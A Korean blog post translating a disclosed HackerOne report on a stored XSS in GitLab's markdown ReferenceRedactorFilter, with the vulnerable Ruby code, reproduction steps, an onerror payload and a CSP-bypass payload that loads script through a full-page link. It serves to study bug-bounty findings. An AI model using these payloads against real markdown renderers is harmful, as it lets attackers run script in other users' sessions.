728x90
본 내용은 해커원 버그바운티에 제출된 레포트를 한국어로 번역한 내용입니다. 잘못된 내용이 있다면 언제든지 알려주세요!
원문 - https://hackerone.com/reports/836649
취약점 정보
Gitlab에서 발견되었으며 5,000달러의 상금을 받은 취약점이다. 한국 돈으로 약 600만원 정도 될 것 같다. 보고서 목록 중에 가장 위에 있어서 골랐는데, 해석할 때 헷갈리는 표현들이 있어서 모호하게 작성한 부분도 있다. (새로운 취약점 공부 + 영어 공부 목적이므로 열심히 해서 추후에 보완할 예정^^;;)
html코드가 입력 값으로 들어오면 html 인코딩 후 마크다운 렌더링을 하는데, 원문 데이터가 이미 html 인코딩된 상태일 때는 렌더링 결과에 디코딩된 html 코드가 삽입된다. 따라서 XSS 공격이 가능하다는 내용이다.
요약
ReferenceRedactorFilter
를 악용하여 마크다운에 임의의 html 코드를 삽입할 수 있다. 데이터를 html 인코딩하여 저장하고, 이를 추출하여 링크 컨텐츠에 사용하는 data-original
의 속성 때문이다. 만약 원문 데이터가 이미 html 인코딩 된 상태라면 변환 후에는 디코딩될 것이다.
def redacted_node_content(node)
original_content = node.attr('data-original')
link_reference = node.attr('data-link-reference')
# Build the raw <a> tag just with a link as href and content if
# it's originally a link pattern. We shouldn't return a plain text href.
original_link =
if link_reference == 'true'
href = node.attr('href')
content =
original_content
%(<a href="#{href}">#{content}</a>)
end
# The reference should be replaced by the original link's content,
# which is not always the same as the rendered one.
original_link || original_content || node.inner_html
end
재현방법
- 하나의 계정에서 Private 프로젝트를 생성한다.
- 그리고 해당 프로젝트에서 하나의 이슈를 생성한다.
- 해당 프로젝트에 권한이 없는 다른 계정으로 로그인한다.
- 생성된 이슈를 링크하여 아래처럼 이슈를 작성한다:
link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">xss <img onerror=alert(1) src=x></a>
- 렌더링된 마크다운에는 html이 삽입된다:
위 내용은 CSP에 의해 차단되지만, https://hackerone.com/reports/662287#activity-6026826 와 비슷하게 우회할 수 있다.<div class="md"><p data-sourcepos="1:1-1:124" dir="auto">link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1">xss <img onerror="alert(1)" src="x"></a></p></div>
(페이지의 아무데나 클릭해야하지만 링크는 페이지 전체 화면이다.)
※ CSP: Content-Security-Policy 응답 헤더\
위를 입력하면 아래 html을 생성한다:link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">csp <a data-remote="true" data-method="get" data-type="script" href=/wbowling/wiki/raw/master/test.js class='atwho-view select2-drop-mask pika-select' > <img height=10000 width=10000> </a> </a>
<div class="md issue-realtime-trigger-pulse"><p data-sourcepos="1:1-11:4" dir="auto">link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1">csp </a><a data-remote="true" data-method="get" data-type="script" href="/wbowling/wiki/raw/master/test.js" class="atwho-view select2-drop-mask pika-select"> <img height="10000" width="10000"> </a> </p></div>
영향도
ReferenceRedactor
가 작동하는 어디서든 임의의 html을 삽입할 수 있다. 사용자는 자신의 private 프로젝트를 생성하고, 이를 링크하는 이슈나 댓글을 공개 프로젝트에 게시하여 XSS 코드를 삽입할 수 있다.
728x90
'HackerOne > Report 번역' 카테고리의 다른 글
[SQL Injection] Blind SQL Injection (0) | 2020.09.17 |
---|